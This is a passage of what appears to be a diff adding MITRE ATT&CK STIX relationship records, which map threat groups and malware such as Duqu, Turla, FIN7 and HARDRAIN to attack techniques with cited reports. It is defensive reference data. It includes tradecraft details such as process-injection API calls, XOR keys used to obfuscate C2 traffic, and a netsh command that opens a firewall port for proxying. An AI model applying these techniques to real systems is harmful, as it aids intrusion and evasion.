Suckfly May 2016", + "url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", + "description": "The discovery modules used with [Duqu](https://attack.mitre.org/software/S0038) can collect information on open windows.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bbc31a33-f55f-43d4-a3fd-23426c5fc638", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "modified": "2019-04-24T23:18:53.152Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "description": "[APT37](https://attack.mitre.org/groups/G0067) leverages the Windows API calls: VirtualAlloc(), WriteProcessMemory(), and CreateRemoteThread() for process injection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--82c9b9a1-5fbe-49e5-8685-12a03a66ef8d", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.650Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) can download files to the victim\u2019s machine and execute them.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4a33da76-c838-48fe-97ad-80d285cf165f", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "modified": "2019-06-24T19:05:41.485Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub QuasarRAT", + "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", + "url": "https://github.com/quasar/QuasarRAT" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[MacSpy](https://attack.mitre.org/software/S0282) captures keystrokes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e6884060-8245-46ff-b71f-025c6a82eb3f", + "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.081Z", + "id": "relationship--9755e169-0dd5-4bf5-a884-d50d31f33ad9", + "source_ref": "intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f", + "modified": "2019-03-25T16:54:05.812Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) malware has used HTTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--58fdc63b-05b4-4db9-90fe-c80f7956292f", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.164Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a8f41a5a-b6bd-4446-8f9d-22d0e7b4af74", + "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", + "modified": "2019-03-25T15:36:46.901Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--0998045d-f96e-4284-95ce-3c8219707486", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e2def7f8-7c68-4ed6-b801-260b24a67409", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.552Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) can terminate a specific process by its process id.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5782aac5-a4c6-4d17-88c9-e29b795e3ee7", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "source_name": "McAfee Bankshot", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + }, + { + "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.", + "source_name": "US-CERT Bankshot Dec 2017", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[4H RAT](https://attack.mitre.org/software/S0065) obfuscates C2 communication using a 1-byte XOR with the key 0xBE.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6613ed52-5c6c-43f2-bd0c-9809769cb022", + "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) compromised three Japanese websites using a Flash exploit to perform watering hole attacks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--731d14c6-a141-4e71-ac61-c344636e13d5", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.208Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Tick Apr 2016", + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549", + "description": "[SPACESHIP](https://attack.mitre.org/software/S0035) copies staged data to removable drives when they are inserted into the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--04e2c418-8f6c-453c-8e17-4d3aeec0f755", + "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "The original variant of [FakeM](https://attack.mitre.org/software/S0076) encrypts C2 traffic using a custom encryption cipher that uses an XOR key of \u201cYHCRA\u201d and bit rotation between each XOR operation. [FakeM](https://attack.mitre.org/software/S0076) has also included HTML code in C2 traffic in an apparent attempt to evade detection. Additionally, some variants of [FakeM](https://attack.mitre.org/software/S0076) use modified SSL code for communications back to C2 servers, making SSL decryption ineffective.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a00d3582-7c2d-45dc-8580-1de25356ae70", + "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--be7a1288-68fd-4125-969b-bd123865c6b1", + "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "modified": "2019-04-25T12:37:45.686Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) has performed C2 using DNS via A, OPT, and TXT records.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ca2a22df-7f99-497a-8f51-cf0180308305", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-06-30T23:13:18.384Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "Some [InnaputRAT](https://attack.mitre.org/software/S0259) variants create a new Windows service to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c0584f8c-e358-4058-aafc-130bfb54dc88", + "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", + "source_name": "ASERT InnaputRAT April 2018", + "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c", + "description": "[Dok](https://attack.mitre.org/software/S0281) downloads and installs Tor via homebrew.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a9bf9268-1c45-4293-a5c2-c493556ad546", + "source_ref": "malware--f36b2598-515f-4345-84e5-5ccde253edbe", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia saves information gathered about the victim to a file that is saved in the %TEMP% directory, then compressed, encrypted, and uploaded to a C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.068Z", + "id": "relationship--5f055076-79d1-44e8-95cb-43fc515df2f6", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:44.933Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "A [Turla](https://attack.mitre.org/groups/G0010) JavaScript backdoor has used Google Apps Script as its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7fcd4b9b-87e3-4e8c-abde-84639c85467f", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:44.993Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + }, + { + "source_name": "ESET Turla Mosquito May 2018", + "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[Strider](https://attack.mitre.org/groups/G0041) has used local servers with both local network and Internet access to act as internal proxy nodes to exfiltrate data from other parts of the network without direct Internet access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.077Z", + "id": "relationship--6476b9fe-dc7f-4578-a39d-beebc8390af2", + "source_ref": "intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656", + "modified": "2019-03-25T16:59:10.933Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky ProjectSauron Blog", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 8). ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms. Retrieved August 17, 2016.", + "url": "https://securelist.com/faq-the-projectsauron-apt/75533/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used Metasploit to perform reflective DLL injection in order to escalate privileges. [Turla](https://attack.mitre.org/groups/G0010) has also used [PowerSploit](https://attack.mitre.org/software/S0194)'s Invoke-ReflectivePEInjection.ps1 to reflectively load a PowerShell payload into a random process on the victim system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f3055d9f-986e-4202-bb13-c956069bb43f", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:44.969Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla Mosquito May 2018", + "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/" + }, + { + "description": "Rapid7. (2013, November 26). meterpreter/source/extensions/priv/server/elevate/. Retrieved July 8, 2018.", + "source_name": "Github Rapid7 Meterpreter Elevate", + "url": "https://github.com/rapid7/meterpreter/tree/master/source/extensions/priv/server/elevate" + }, + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "The [Poseidon Group](https://attack.mitre.org/groups/G0033)'s Information Gathering Tool (IGT) includes PowerShell components.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.070Z", + "id": "relationship--e2ce90d2-7470-4f2d-a86c-f429b934ab35", + "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.", + "source_name": "Kaspersky Poseidon Group", + "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--80d72d09-c1a4-4735-b85a-28bfc19ef8b9", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.919Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125", + "description": "[FruitFly](https://attack.mitre.org/software/S0277) persists via a Launch Agent.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b01697d1-816f-43bd-bc65-34f92c3e08cf", + "source_ref": "malware--4a98e44a-bd52-461e-af1e-a4457de87a36", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[HARDRAIN](https://attack.mitre.org/software/S0246) uses the command cmd.exe /c netsh firewall add portopening TCP 443 \"adp\" and makes the victim machine function as a proxy server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--74bb0ae9-589c-4479-9bd5-b9a71a20e82d", + "source_ref": "malware--bd0536d7-b081-43ae-a773-cfb057c5b988", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.", + "source_name": "US-CERT HARDRAIN March 2018", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has performed DLL search order hijacking to execute their payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e4e2d35b-83fb-4515-b531-576acb02e1a5", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:54.946Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "The [BlackEnergy](https://attack.mitre.org/software/S0089) 3 variant drops its main DLL component and then creates a .lnk shortcut to that file in the startup folder.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--cd2a7854-1339-4f40-8ba1-be032dc5249e", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "modified": "2019-06-24T17:08:51.631Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "source_name": "F-Secure BlackEnergy 2014", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[SEASHARPEE](https://attack.mitre.org/software/S0185) can download remote files onto victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--04ecc705-0027-4dda-85fe-d6ce028ef05e", + "source_ref": "malware--0998045d-f96e-4284-95ce-3c8219707486", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Webinar Dec 2017", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can use tasklist to collect a list of running tasks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--51a03c8a-1983-4bdd-b326-78ec67f86f06", + "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) can send process listings over the C2 channel.", + "created_by_ref": 